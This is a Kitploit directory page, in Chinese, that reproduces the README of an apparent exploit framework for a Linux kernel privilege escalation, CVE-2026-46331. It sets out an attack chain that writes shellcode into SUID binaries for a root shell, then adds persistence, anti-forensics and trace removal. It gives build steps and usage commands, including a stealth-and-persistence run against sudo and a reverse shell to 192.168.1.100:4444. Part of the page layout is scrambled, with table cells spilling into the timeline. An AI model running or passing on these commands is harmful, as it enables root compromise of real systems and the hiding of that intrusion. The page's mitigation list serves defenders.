Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
dirtyclone-exploit — CVE-2026-46331 — Linux 内核本地权限提升 TC pedit + IPsec TEE 页缓存损坏 · 受影响的内核:≤ 6.12.9 | Kitploit
工具/GitHubGitHub/vulnquest58/dirtyclone-exploit
权限提升持久化机制漏洞分析漏洞利用后渗透利用渗透测试学习与教育Payload 开发二进制利用
GitHubvulnquest58/dirtyclone-exploit

dirtyclone-exploit

CVE-2026-46331 — Linux 内核本地权限提升 TC pedit + IPsec TEE 页缓存损坏 · 受影响的内核:≤ 6.12.9

511个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

DirtyClone 漏洞利用框架

CVE-2026-46331 — Linux 内核本地权限提升漏洞 TC pedit + IPsec TEE 页缓存破坏 · 受影响内核:≤ 6.12.9

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║   ____  _      _         ____ _                              ║
║  |  _ \(_)_ __| |_ _   _/ ___| | ___  _ __   ___           ║
║  | | | | | '__| __| | | | |   | |/ _ \| '_ \ / _ \        ║
║  | |_| | | |  | |_| |_| | |___| | (_) | | | |  __/        ║
║  |____/|_|_|   \__|_, |\____|_|\___/|_| |_|\___|           ║
║                    |___/                                     ║
╠═══════════════════════════════════════════════════════════════╣
║  CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY  ║
╚═══════════════════════════════════════════════════════════════╝

License: MIT CVE Kernel Language


⚠️ 仅供教育与研究使用 请仅在您拥有的隔离实验环境中使用本框架, 或仅在获得明确书面授权测试的环境中使用。 未经授权的使用是非法的,且违反道德。


📋 目录

  • 漏洞概述
  • 攻击链
  • 项目结构
  • 环境要求
  • 构建与安装
  • 使用方法
  • Python 模块
  • 防御缓解措施
  • 时间线
  • 参考资料

🔬 漏洞概述

CVE-2026-46331 是 Linux 内核(≤ 6.12.9)中的一个本地权限提升漏洞,由 TC(cls_act)pedit 操作与基于 IPsec TEE 的数据包复制之间的竞态条件导致。

根本原因

当数据包在 TC 出口路径上经过设置了 IHL = 15 的 pedit 操作时,内核的 IPsec 子系统会收到一个畸形数据包,其中计算出的 IP 载荷偏移量超出了实际的数据包边界。在并发的 sendfile(2) 操作下,这种不匹配使得非特权用户(在具有 CAP_NET_ADMIN 的用户命名空间内)能够破坏任意文件(包括 SUID 二进制文件)的只读页缓存条目。

影响


🔗 攻击链

root@kitploit:~
Unprivileged User (UID=1000)
         │
         ▼
[1] Reconnaissance
    ├─ Kernel version check
    ├─ userns availability
    └─ Target binary profiling
         │
         ▼
[2] Namespace Bypass
    ├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
    ├─ AppArmor profile hopping (fallback)
    └─ CAP_NET_ADMIN acquired
         │
         ▼
[3] Network Infrastructure
    ├─ clsact qdisc on lo
    ├─ pedit filter (IHL=15)
    └─ IPsec ESP + TEE
         │
         ▼
[4] Page Cache Corruption
    ├─ sendfile → pedit trigger
    ├─ Page cache entry corrupted
    └─ Shellcode written to read-only binary
         │
         ▼
[5] Privilege Escalation
    └─ execve(SUID binary) → root shell
         │
         ▼
[6-8] Post-Exploitation
    ├─ Persistence (6 mechanisms)
    ├─ Evasion / Anti-Forensics
    └─ Trace cleanup
         │
         ▼
    🎯 ROOT SHELL (UID=0 EUID=0)

📁 项目结构

root@kitploit:~
dirtyclone-exploit/
├── Makefile                          # Build system
├── README.md                         # This file
├── LICENSE                           # MIT License
│
├── include/
│   ├── exploit.h                     # Core types, flags, prototypes
│   ├── packet_engine.h               # Packet crafting engine API
│   ├── memory_ops.h                  # Page cache corruption API
│   └── persistence.h                 # Persistence mechanism API
│
├── src/
│   ├── main.c                        # Framework entry point
│   ├── stage_env_analysis.c          # Phase 1: Reconnaissance
│   ├── stage_namespace_bypass.c      # Phase 2: userns bypass
│   ├── stage_network_setup.c         # Phase 3: TC/IPsec setup
│   ├── stage_page_cache_corrupt.c    # Phase 4: Core exploit
│   ├── stage_privilege_escalation.c  # Phase 5: LPE
│   ├── stage_persistence.c           # Phase 6: Persistence
│   ├── stage_evasion.c               # Phase 7: Anti-forensics
│   ├── stage_cleanup.c               # Phase 8: Trace removal
│   ├── memory_ops.c                  # Page cache primitives
│   ├── packet_engine.c               # Raw packet crafting
│   └── persistence.c                 # Persistence implementations
│
├── modules/
│   ├── packet_craft.py               # Python packet crafter (Scapy)
│   └── exploit_analyzer.py           # Pre-exploit analysis tool
│
├── scripts/
│   ├── setup_env.sh                  # Dependency install + build
│   ├── cleanup.sh                    # System cleanup
│   └── detect_targets.sh             # Vulnerable binary scanner
│
└── payloads/
    └── README.md                     # Payload directory info

⚙️ 环境要求

编译时依赖

  • gcc ≥ 10
  • make
  • libcap-dev / libcap-devel

运行时依赖(Linux 目标)

  • 内核版本 ≤ 6.12.9
  • iproute2(tc、ip)
  • iptables
  • 已启用非特权用户命名空间

Python 模块(可选)

root@kitploit:~
pip install scapy

🔧 构建与安装

root@kitploit:~
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit

# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh

# Manual build
make all

# Debug build
make debug

# Clean
make clean

🚀 使用方法

root@kitploit:~
# Show help
./bin/dirtyclone --help

# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test

# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone

# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist

# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup

# Detect vulnerable targets first
bash scripts/detect_targets.sh

🐍 Python 模块

exploit_analyzer.py — 利用前侦察

root@kitploit:~
# Analyze default target
python3 modules/exploit_analyzer.py

# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo

# JSON output for automation
python3 modules/exploit_analyzer.py --json

# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid

packet_craft.py — 原始数据包触发

root@kitploit:~
# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234

# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20

🛡️ 防御缓解措施


📅 时间线

日期事件
2026-01-15在内核审计期间发现该漏洞
2026-02-03

📚 参考资料

  • CVE-2026-46331 NVD 条目
  • Linux 内核 TC 子系统文档
  • IPsec TEE 实现
  • 用户命名空间安全
  • DirtyClone 技术分析

👤 作者

VulnQuest · 安全研究

  • 🌐 vulnquest58.github.io
  • 🐛 漏洞赏金作品集

本仓库仅供教育目的使用。 所有漏洞利用代码仅限在授权的实验环境中使用。

下载工具
属性值
CVSS 3.1 评分8.8(高危)
攻击向量本地
所需权限低(非特权用户)
影响Root Shell(UID=0 EUID=0)
受影响版本Linux 内核 ≤ 6.12.9
已修复版本6.12.10
补丁提交a3f4d1c8...
缓解措施命令 / 操作
更新内核升级至 ≥ 6.12.10(主要修复)
禁用用户命名空间echo 0 > /proc/sys/kernel/unprivileged_userns_clone
AppArmor 限制启用带 userns 限制配置的 apparmor
审计 TC peditauditctl -a always,exit -F arch=b64 -S unshare
文件完整性在 SUID 二进制文件上部署 AIDE 或 Tripwire
Seccomp 过滤器在生产容器中阻止 unshare()
报告至 [email protected]
2026-03-28提交补丁(6.12.10)
2026-06-01公开披露(90 天期限)
2026-06-27发布完整 PoC